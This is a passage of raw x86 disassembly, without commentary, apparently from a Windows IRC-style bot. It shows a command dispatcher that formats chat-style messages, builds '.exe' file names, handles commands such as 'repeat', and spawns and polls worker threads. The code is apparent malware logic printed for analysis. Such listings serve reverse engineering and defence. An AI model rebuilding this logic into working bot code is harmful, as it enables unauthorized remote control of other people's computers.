		add	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		mov	esi, eax
		add	esp, 14h
		cmp	esi, ebx
		jz	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		push	ebx
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEBC[eax]
		call	sub_409A72
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43DCB0[eax], 73h
		jnz	loc_409854
		push	esi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43DEC8
		push	eax
		push	edi
		push	offset aSSS_1	; "[%s]	<%s> %s"

loc_407A35:				; CODE XREF: sub_401ACD+5E8Bj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 28h
		jmp	loc_409854
; ---------------------------------------------------------------------------

loc_407A62:				; CODE XREF: sub_401ACD+4ED1j
					; sub_401ACD+4EE8j
		push	[ebp+arg_10]
		call	dword_4CAFB4
		push	edi
		mov	[ebp+var_680], eax
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_690], eax
		call	sub_41B779
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_688], eax
		lea	eax, [ebp+var_710]
		mov	[ebp+var_714], esi
		push	eax
		call	sub_41B5F0
		add	esp, 14h
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_678], edi
		push	[ebp+var_688]
		mov	[ebp+var_674], eax
		push	[ebp+var_690]
		push	[ebp+var_680]
		call	dword_4CB000
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A3D8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_684], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_714]
		push	ebx
		push	eax
		push	offset dword_40C668
		push	ebx
		push	ebx
		call	near ptr 2670000h
		nop
		mov	ecx, [ebp+var_684]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_407B44

loc_407B2E:				; CODE XREF: sub_401ACD+6075j
		cmp	[ebp+var_670], ebx
		jnz	loc_403DA0
		push	32h
		nop
		call	near ptr 2660EB7h
		jmp	short loc_407B2E
; ---------------------------------------------------------------------------

loc_407B44:				; CODE XREF: sub_401ACD+605Fj
		nop
		call	near ptr 267084Ch
		push	eax
		push	offset unk_42A4CC
		jmp	loc_403D91
; ---------------------------------------------------------------------------

loc_407B55:				; CODE XREF: sub_401ACD+4EA3j
					; sub_401ACD+4EBAj
		push	[ebp+arg_10]
		call	sub_41B779
		mov	[ebp+var_112C],	eax
		push	7Fh
		lea	eax, [ebp+var_1230]
		push	edi
		push	eax
		call	sub_41B5F0
		push	[ebp+arg_0]
		call	sub_41B779
		mov	esi, [ebp+arg_4]
		add	esp, 14h
		mov	[ebp+var_1130],	eax
		lea	eax, [ebp+var_11B0]
		push	[ebp+var_88]
		mov	[ebp+var_1238],	esi
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	edi, [ebp+var_4]
		mov	[ebp+var_111C],	eax
		push	[ebp+var_1130]
		lea	eax, [ebp+var_1230]
		mov	[ebp+var_1120],	edi
		push	eax
		push	[ebp+var_112C]
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A39C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	18h
		push	eax
		call	sub_40B0F6
		add	esp, 24h
		mov	[ebp+var_1128],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1238]
		push	ebx
		push	eax
		push	offset loc_4103AA
		push	ebx
		push	ebx
		call	near ptr 2670000h
		nop
		mov	ecx, [ebp+var_1128]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_407C41

loc_407C2B:				; CODE XREF: sub_401ACD+6172j
		cmp	[ebp+var_1118],	ebx
		jnz	loc_403DA0
		push	32h
		call	near ptr 2660EB7h
		nop
		jmp	short loc_407C2B
; ---------------------------------------------------------------------------

loc_407C41:				; CODE XREF: sub_401ACD+615Cj
		nop
		call	near ptr 267084Ch
		push	eax
		push	offset unk_42A358
		jmp	loc_403D91
; ---------------------------------------------------------------------------

loc_407C52:				; CODE XREF: sub_401ACD+4E75j
					; sub_401ACD+4E8Cj
		push	0FFh
		lea	eax, [ebp+var_2878]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	0FFh
		lea	eax, [ebp+var_2778]
		push	edi
		push	eax
		call	sub_41B5F0
		push	[ebp+arg_0]
		mov	[ebp+var_2674],	ebx
		call	sub_41B779
		mov	[ebp+var_2670],	eax
		mov	eax, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	eax, ebx
		jz	short loc_407CAB
		push	10h
		push	ebx
		push	eax
		call	sub_41BDC5
		add	esp, 0Ch
		mov	[ebp+var_2668],	eax
		jmp	short loc_407CB1
; ---------------------------------------------------------------------------

loc_407CAB:				; CODE XREF: sub_401ACD+61C8j
		mov	[ebp+var_2668],	ebx

loc_407CB1:				; CODE XREF: sub_401ACD+61DCj
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	short loc_407CC8
		push	esi
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_266C],	eax
		jmp	short loc_407CCE
; ---------------------------------------------------------------------------

loc_407CC8:				; CODE XREF: sub_401ACD+61EAj
		mov	[ebp+var_266C],	ebx

loc_407CCE:				; CODE XREF: sub_401ACD+61F9j
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_2664],	eax
		lea	eax, [ebp+var_28F8]
		mov	[ebp+var_28FC],	esi
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_265C],	eax
		mov	eax, [ebp+var_8]
		push	edi
		mov	[ebp+var_2660],	eax
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A32C
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_2C4]
		push	1Dh
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_2678],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_28FC]
		push	ebx
		push	eax
		push	offset loc_4163F9
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_2678]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_407D7F

loc_407D69:				; CODE XREF: sub_401ACD+62B0j
		cmp	[ebp+var_2658],	ebx
		jnz	loc_407278
		push	32h
		call	near ptr 2660EB7h
		nop
		jmp	short loc_407D69
; ---------------------------------------------------------------------------

loc_407D7F:				; CODE XREF: sub_401ACD+629Aj
		call	near ptr 267084Ch
		nop
		push	eax
		push	offset unk_42A2EC
		jmp	loc_407269
; ---------------------------------------------------------------------------

loc_407D90:				; CODE XREF: sub_401ACD+4E47j
					; sub_401ACD+4E5Ej
		push	7Fh
		lea	eax, [ebp+var_3490]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3410]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3390]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3310]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_328C],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3288],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_3494],	esi
		push	[ebp+arg_10]
		push	offset unk_42A2B0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	12h
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_3290],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3494]
		push	ebx
		push	eax
		push	offset byte_414A91
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_3290]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_407E67

loc_407E51:				; CODE XREF: sub_401ACD+6398j
		cmp	[ebp+var_3284],	ebx
		jnz	loc_407278
		push	32h
		nop
		call	near ptr 2660EB7h
		jmp	short loc_407E51
; ---------------------------------------------------------------------------

loc_407E67:				; CODE XREF: sub_401ACD+6382j
		nop
		call	near ptr 267084Ch
		push	eax
		push	offset unk_42A278
		jmp	loc_407269
; ---------------------------------------------------------------------------

loc_407E78:				; CODE XREF: sub_401ACD+4D1Aj
					; sub_401ACD+4D31j
		push	7Fh
		lea	eax, [ebp+var_3068]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_2FE8]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_2F68]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_2EE8]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2E64],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2E60],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_306C],	esi
		push	[ebp+arg_10]
		push	offset unk_42A248
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Eh
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_2E68],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_306C]
		push	ebx
		push	eax
		push	offset dword_4137CC
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_2E68]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_407F4F

loc_407F39:				; CODE XREF: sub_401ACD+6480j
		cmp	[ebp+var_2E5C],	ebx
		jnz	loc_407278
		push	32h
		call	near ptr 2660EB7h
		nop
		jmp	short loc_407F39
; ---------------------------------------------------------------------------

loc_407F4F:				; CODE XREF: sub_401ACD+646Aj
		nop
		call	near ptr 267084Ch
		push	eax
		push	offset unk_42A210
		jmp	loc_407269
; ---------------------------------------------------------------------------

loc_407F60:				; CODE XREF: sub_401ACD+4BF1j
					; sub_401ACD+4C08j ...
		push	7Fh
		lea	eax, [ebp+var_3CE4]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3C64]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3BE4]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3B64]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		push	20h
		lea	eax, [ebp+var_3AE4]
		push	[ebp+arg_8]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 3Ch
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3A64],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3A60],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_3CEC],	esi
		push	[ebp+arg_10]
		push	offset unk_42A1E0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Dh
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_3CE8],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3CEC]
		push	ebx
		push	eax
		push	offset byte_412A53
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_3CE8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_408048

loc_408032:				; CODE XREF: sub_401ACD+6579j
		cmp	[ebp+var_3A5C],	ebx
		jnz	loc_407278
		push	32h
		nop
		call	near ptr 2660EB7h
		jmp	short loc_408032
; ---------------------------------------------------------------------------

loc_408048:				; CODE XREF: sub_401ACD+6563j
		nop
		call	near ptr 267084Ch
		push	eax
		push	offset unk_42A1A8
		jmp	loc_407269
; ---------------------------------------------------------------------------

loc_408059:				; CODE XREF: sub_401ACD+4BC3j
					; sub_401ACD+4BDAj
		push	7Fh
		lea	eax, [ebp+var_1778]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	edi
		call	sub_41B779
		push	3Fh
		mov	[ebp+var_1628],	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_16F8]
		push	eax
		call	sub_41B5F0
		mov	esi, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	esi, ebx
		jz	short loc_4080A4
		push	3Fh
		lea	eax, [ebp+var_16B8]
		push	esi
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch

loc_4080A4:				; CODE XREF: sub_401ACD+65C3j
		lea	eax, [ebp+var_16F8]
		mov	[ebp+var_1624],	1
		push	eax
		lea	eax, [ebp+var_1778]
		push	[ebp+var_1628]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A178
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Fh
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_1620],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_177C]
		push	ebx
		push	eax
		push	offset sub_4017ED
		push	ebx
		push	ebx
		call	near ptr 2670000h
		nop
		mov	ecx, [ebp+var_1620]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_408130

loc_40811A:				; CODE XREF: sub_401ACD+6661j
		cmp	[ebp+var_161C],	ebx
		jnz	loc_406CDE
		push	32h
		nop
		call	near ptr 2660EB7h
		jmp	short loc_40811A
; ---------------------------------------------------------------------------

loc_408130:				; CODE XREF: sub_401ACD+664Bj
		call	near ptr 267084Ch
		nop
		push	eax
		push	offset dword_42A13C
		jmp	loc_406CCF
; ---------------------------------------------------------------------------

loc_408141:				; CODE XREF: sub_401ACD+4B83j
					; sub_401ACD+4B9Aj
		push	edi
		call	sub_41B779
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_1D64],	eax
		jle	loc_408234
		push	[ebp+arg_10]
		mov	esi, 80h
		lea	eax, [ebp+var_1EEC]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_1D60],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1EF0],	eax
		lea	eax, [ebp+var_1DEC]
		push	esi
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1D5C],	eax
		mov	eax, [ebp+var_8]
		push	edi
		mov	[ebp+var_1D58],	eax
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A110
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	15h
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_1D6C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1EF0]
		push	ebx
		push	eax
		push	offset byte_412E9D
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_1D6C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_408223

loc_408211:				; CODE XREF: sub_401ACD+6754j
		cmp	[ebp+var_1D54],	ebx
		jnz	short loc_40828B
		push	32h
		call	near ptr 2660EB7h
		nop
		jmp	short loc_408211
; ---------------------------------------------------------------------------

loc_408223:				; CODE XREF: sub_401ACD+6742j
		call	near ptr 267084Ch
		nop
		push	eax
		push	offset unk_42A0D8
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_408234:				; CODE XREF: sub_401ACD+6683j
		push	offset unk_42A0A0
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_40823E:				; CODE XREF: sub_401ACD+4B55j
					; sub_401ACD+4B6Cj
		push	edi
		push	[ebp+arg_10]
		nop
		call	near ptr 2690BAFh
		test	eax, eax
		jz	short loc_40826B
		push	edi
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_10]
		push	offset unk_42A07C
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	short loc_40828B
; ---------------------------------------------------------------------------

loc_40826B:				; CODE XREF: sub_401ACD+677Dj
		push	offset dword_42A070
		call	sub_41814C
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980

loc_408288:				; CODE XREF: sub_401ACD+2F2Aj
					; sub_401ACD+556Fj
		add	esp, 0Ch

loc_40828B:				; CODE XREF: sub_401ACD+2136j
					; sub_401ACD+2ECCj ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4083BC
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]

loc_4082A8:				; CODE XREF: sub_401ACD+57C6j
		call	sub_409A72
		add	esp, 14h
		jmp	loc_4083BC
; ---------------------------------------------------------------------------

loc_4082B5:				; CODE XREF: sub_401ACD+4B27j
					; sub_401ACD+4B3Ej
		push	[ebp+arg_10]
		lea	eax, [ebp+var_3F04]
		push	104h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		cmp	[ebp+var_C], ebx
		jz	short loc_4082EF
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4082EF
		push	eax
		lea	eax, [ebp+var_3E00]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_4082EF:				; CODE XREF: sub_401ACD+6802j
					; sub_401ACD+6811j
		push	[ebp+var_88]
		lea	eax, [ebp+var_3F84]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_3F88],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_3CF8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3CF4],	eax
		lea	eax, [ebp+var_3E00]
		push	eax
		lea	eax, [ebp+var_3F04]
		push	eax
		push	offset unk_42A040
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	24h
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_3CFC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3F88]
		push	ebx
		push	eax
		push	offset byte_416CAD
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_3CFC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_4083A1

loc_40838F:				; CODE XREF: sub_401ACD+68D2j
		cmp	[ebp+var_3CF0],	ebx
		jnz	short loc_4083BC
		push	32h
		call	near ptr 2660EB7h
		nop
		jmp	short loc_40838F
; ---------------------------------------------------------------------------

loc_4083A1:				; CODE XREF: sub_401ACD+68C0j
		nop
		call	near ptr 267084Ch
		push	eax
		push	offset unk_42A004

loc_4083AD:				; CODE XREF: sub_401ACD+925j
					; sub_401ACD+A63j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_4083BC:				; CODE XREF: sub_401ACD+7E1j
					; sub_401ACD+94Cj ...
		push	1
		pop	esi
		jmp	loc_406D02
; ---------------------------------------------------------------------------

loc_4083C4:				; CODE XREF: sub_401ACD+4AF9j
					; sub_401ACD+4B10j
		push	44h
		lea	eax, [ebp+var_668]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41B590
		push	1
		mov	[ebp+var_668], esi
		pop	esi
		mov	[ebp+var_638], bx
		push	[ebp+arg_10]
		mov	[ebp+var_63C], esi
		call	sub_41B779
		add	esp, 10h
		cmp	eax, esi
		jnz	short loc_408403
		mov	[ebp+var_638], 5

loc_408403:				; CODE XREF: sub_401ACD+692Bj
		cmp	[ebp+var_C], ebx
		jz	loc_406CDE
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	loc_406CDE
		lea	eax, [ebp+var_E10]
		push	eax
		lea	eax, [ebp+var_668]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	esi
		push	ebx
		push	ebx
		push	edi
		push	ebx
		nop
		call	near ptr 2650CD4h
		test	eax, eax
		jnz	short loc_40844C
		push	offset unk_429FE0
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_40844C:				; CODE XREF: sub_401ACD+6973j
		push	edi
		push	offset dword_429FC4
		jmp	loc_406CCF
; ---------------------------------------------------------------------------

loc_408457:				; CODE XREF: sub_401ACD+4ACBj
					; sub_401ACD+4AE2j
		push	edi
		push	offset aDark	; "Dark"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085D0
		lea	eax, [ebp+var_48F0]
		push	eax
		push	104h
		call	near ptr 2690000h
		nop
		push	0FFh
		lea	eax, [ebp+var_25D0]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_17D0]
		push	eax
		call	sub_40AD80
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_48F0]
		push	eax
		lea	eax, [ebp+var_24D0]
		push	offset aSS_exe	; "%s%s.exe"
		push	eax
		call	sub_41B886
		mov	eax, [ebp+esi+var_84]
		add	esp, 10h
		cmp	eax, ebx
		mov	[ebp+var_23CC],	1
		mov	[ebp+var_23C8],	ebx
		jz	short loc_4084EC
		push	10h
		push	ebx
		push	eax
		call	sub_41BDC5
		add	esp, 0Ch
		mov	[ebp+var_23C0],	eax
		jmp	short loc_4084F2
; ---------------------------------------------------------------------------

loc_4084EC:				; CODE XREF: sub_401ACD+6A09j
		mov	[ebp+var_23C0],	ebx

loc_4084F2:				; CODE XREF: sub_401ACD+6A1Dj
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	short loc_408509
		push	esi
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_23C4],	eax
		jmp	short loc_40850F
; ---------------------------------------------------------------------------

loc_408509:				; CODE XREF: sub_401ACD+6A2Bj
		mov	[ebp+var_23C4],	ebx

loc_40850F:				; CODE XREF: sub_401ACD+6A3Aj
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_23BC],	eax
		lea	eax, [ebp+var_2650]
		mov	[ebp+var_2654],	esi
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_23B4],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_10]
		mov	[ebp+var_23B8],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_429F8C
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_2C4]
		push	1Eh
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_23D0],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2654]
		push	ebx
		push	eax
		push	offset loc_4163F9
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_23D0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_4085BF

loc_4085A9:				; CODE XREF: sub_401ACD+6AF0j
		cmp	[ebp+var_23B0],	ebx
		jnz	loc_406CDE
		push	32h
		call	near ptr 2660EB7h
		nop
		jmp	short loc_4085A9
; ---------------------------------------------------------------------------

loc_4085BF:				; CODE XREF: sub_401ACD+6ADAj
		nop
		call	near ptr 267084Ch
		push	eax
		push	offset dword_429F50
		jmp	loc_406CCF
; ---------------------------------------------------------------------------

loc_4085D0:				; CODE XREF: sub_401ACD+6999j
		push	offset dword_429F08

loc_4085D5:				; CODE XREF: sub_401ACD+2E73j
					; sub_401ACD+457Cj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_406CDE
; ---------------------------------------------------------------------------

loc_4085E8:				; CODE XREF: sub_401ACD+4A9Dj
					; sub_401ACD+4AB4j
		push	[ebp+var_8C]
		push	offset dword_42C938
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401E94
		cmp	[ebp+var_C], ebx
		jz	loc_401E94
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_429EF8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 28h
		test	eax, eax
		jle	short loc_408673
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 3E8h
		pop	ecx
		push	eax
		call	near ptr 2660EB7h
		nop

loc_408673:				; CODE XREF: sub_401ACD+6B8Ej
		push	offset dword_429EE4
		call	sub_4151AC
		mov	eax, [ebp+arg_24]
		pop	ecx
		inc	eax
		jmp	loc_401E97
; ---------------------------------------------------------------------------

loc_408687:				; CODE XREF: sub_401ACD+4A6Fj
					; sub_401ACD+4A86j
		push	[ebp+var_8C]
		push	offset dword_42C938
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401E94
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		inc	edi
		push	offset aRepeat	; "repeat"
		push	edi
		mov	esi, eax
		call	sub_41C070
		add	esp, 10h
		test	eax, eax
		push	esi
		jz	short loc_408745
		push	[ebp+var_88]
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_429EF8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		add	esp, 24h
		lea	eax, [ebp+var_2C4]
		push	esi
		push	offset dword_429ECC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h
		test	eax, eax
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		add	eax, [ebp+arg_24]
		pop	ecx
		jmp	loc_401E97
; ---------------------------------------------------------------------------

loc_408745:				; CODE XREF: sub_401ACD+6BFAj
		push	offset unk_429E98

loc_40874A:				; CODE XREF: sub_401ACD+7542j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_408759:				; CODE XREF: sub_401ACD+74CAj
					; sub_401ACD+7623j
		cmp	[ebp+var_8], ebx
		jnz	short loc_40877A
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_40877A:				; CODE XREF: sub_401ACD+6C8Fj
					; sub_401ACD+72C7j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		jmp	loc_409853
; ---------------------------------------------------------------------------

loc_40878B:				; CODE XREF: sub_401ACD+4A41j
					; sub_401ACD+4A58j
		push	7Fh
		lea	eax, [ebp+var_2214]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_2194]
		push	edi
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_2114]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 24h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2090],	eax
		mov	eax, [ebp+var_8]
		push	edi
		push	[ebp+arg_10]
		mov	[ebp+var_208C],	eax
		lea	eax, [ebp+var_2C4]
		mov	[ebp+var_2218],	esi
		push	offset unk_429E64
		push	eax
		call	sub_41B886
		push	ebx
